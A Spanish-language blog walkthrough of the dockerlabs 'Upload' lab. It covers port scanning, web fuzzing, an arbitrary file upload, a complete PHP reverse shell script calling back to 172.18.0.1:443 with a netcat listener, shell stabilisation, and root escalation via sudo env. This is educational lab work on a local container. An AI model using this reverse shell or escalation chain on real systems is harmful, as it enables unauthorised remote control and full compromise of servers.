dockerlab.es: máquina UPLOAD
blog
docker
Web fuzzing
Ethical Hacking
Cybersecurity
binarios unix
Arbitrary File Upload
reverse shell
owasp
Descripción
Enlace de Lab:
Dificultad:
FÁCIL
Solución
Antes de iniciar este laboratorio, es importante destacar que se trata de máquinas docker que se despliegan localmente en entornos Linux, facilitando así el despliegue de estos laboratorios en máquinas con pocos recursos o virtualizadas.
Al descargar el laboratorio, lo primero que encontramos son dos archivos.
auto_deploy.sh
: este archivo se encarga de desplegar la máquina mediante docker y, una vez presionamos ctrl+c, pasa a un proceso de borrado, todo automático, sin necesidad de tener conocimientos de docker.
upload.tar
: contiene todo el contenido de la máquina docker; es el corazón, donde está la máquina víctima.
Para desplegar el laboratorio, lo primero que debemos hacer es:
bash auto_deploy.sh upload.tar
Una vez desplegada nuestra máquina vulnerable, lo primero que debemos identificar es qué puertos tiene disponibles.
nmap -p- -Pn -sS --min-rate 5000 --open 172.17.0.2 -oX report.xml -v
donde:
-p-
: Escanea todos los puertos existentes (0-65365)
-Pn
: Evita que nmap
realice un descubrimiento de host antes de realizar el escaneo
-sS
: Realiza un escaneo de puertos TCP mediante un escaneo SYN. Esto implica enviar un paquete SYN y esperar una respuesta; si el puerto está abierto, el host responderá con un paquete SYN-ACK
--min-rate
: Configura la tasa mínima de paquetes enviados a 5000 paquetes por segundo. Esto acelera el escaneo, ya que nmap
enviará paquetes a una tasa muy alta
--open
: Esta opción le indica a nmap
que sólo muestre los puertos que están abiertos.
-oX
: Guarda la salida del escaneo en un archivo XML llamado report.xml
-v
: Aumenta la verbosidad de la salida de nmap
, proporcionando más detalles sobre lo que está haciendo nmap
.
Nos damos cuenta de que el puerto 80
es el único disponible, en otras palabras, nuestro punto de acceso a la máquina vulnerable será por el puerto 80, el cual (en la mayoría de casos) pertenece a un servicio web.
Para identificar versiones, tipo de web, tecnología usada y detalles que nos pueden dar pistas en esta fase de reconocimiento, ejecutamos el siguiente código:
whatweb http://172.17.0.2
Nos fijamos en unas palabras bastante peculiares e interesantes:
Upload here your file
Lo cual nos da pistas para entender que estamos frente a una vulnerabilidad de Arbitrary File Upload
1 posiblemente.
Accedemos a la web y nos encontramos con la siguiente interfaz, sencilla pero suficiente para provocar la vulnerabilidad que ya sospechábamos, por el hecho de que se puede subir archivos.
Para ver si podemos ejecutar código con intenciones malignas, creamos un archivo PHP con el siguiente código:
<?php
system('whoami');
?>
Nos fijamos que ha sido aceptado correctamente; no necesitamos recurrir a ninguna técnica de File upload bypass
2.
Todo correcto, pero,
¿Dónde se ha subido este archivo de código con intenciones malignas?
Ahora nos toca hacer fuzzing 3.
Para esto, ejecutamos un programa llamado wfuzz 4 con las siguientes instrucciones:
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://172.17.0.2/FUZZ
Donde:
-c
: Este comando es simplemente para proporcionar un poco de color a la salida de datos.
--hc 404
: Ignora todas las respuestas cuyo estado sea 404 (Not Found).
-t 200
: Asigna una cantidad de hilos (200) para que ejecuten el recorrido de diccionario en paralelo.
-w
: Este parámetro es para especificar de qué diccionario de datos tomará las palabras para hacer el fuzzing
web.
Nos damos cuenta de que hay un directorio llamado uploads
.
Si accedemos a ese directorio, veremos que hay un archivo llamado whoami.php
que corresponde con el que subimos anteriormente.
Si lo abrimos, veremos www-data
, lo cual nos confirma que estamos ejecutando código en la máquina víctima.
Ahora es momento de crear una reverse shell
para poder ingresar al servidor y poder escalar privilegios.
Para ello, hay una infinidad de reverse shells en PHP en la red, en mi caso usaré la siguiente:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.18.0.1'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Y la subimos mediante el formulario y tendríamos lo siguiente en el directorio uploads
.
Antes de presionar, debemos correr en una terminal la siguiente sentencia:
nc -lvnp 443
Ahora hacemos click sobre el archivo reverse_shell.php
.
Y en nuestra terminal que corría nc
debería aparecer lo siguiente:
Ahora es momento de tratar la bash, más que nada para poder hacer ctrl+c
sin matar la reverse_shell
y ctrl+l
para poder limpiar la pantalla:
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
Si hacemos nano, vi o cat, la pantalla nos aparecerá pequeña y no podremos crear archivos con total libertad. Para ello, corremos lo siguiente:
Abrimos una terminal nueva y corremos:
stty size
Nos aparecerán dos números, el primero corresponde a las rows
y el segundo a columns
.
Abrimos la reverse shell
y corremos el siguiente código:
stty rows 24 columns 128
Ya que tenemos una bash totalmente funcional e interactiva, vamos a empezar a examinar las rutas de escalada de privilegios.
En este caso, con correr el comando sudo -l
nos aparece lo siguiente:
Es decir, podemos ejecutar el binario /usr/bin/env
como root sin necesidad de proporcionar contraseña.
Esto es una muy buena noticia para nosotros como atacantes, porque si nos dirigimos a GTFOBins
5 vemos que con el siguiente código podemos acceder a root:
sudo /usr/bin/env /bin/sh
Lo ejecutamos y:
¡Perfecto! Ya somos root
.
Para borrar la máquina solo debemos ir a la consola donde lo desplegamos y presionar ctrl+c
, y eliminaría y borraría todo rastro de la máquina víctima en nuestro sistema LINUX.
Y eso sería todo.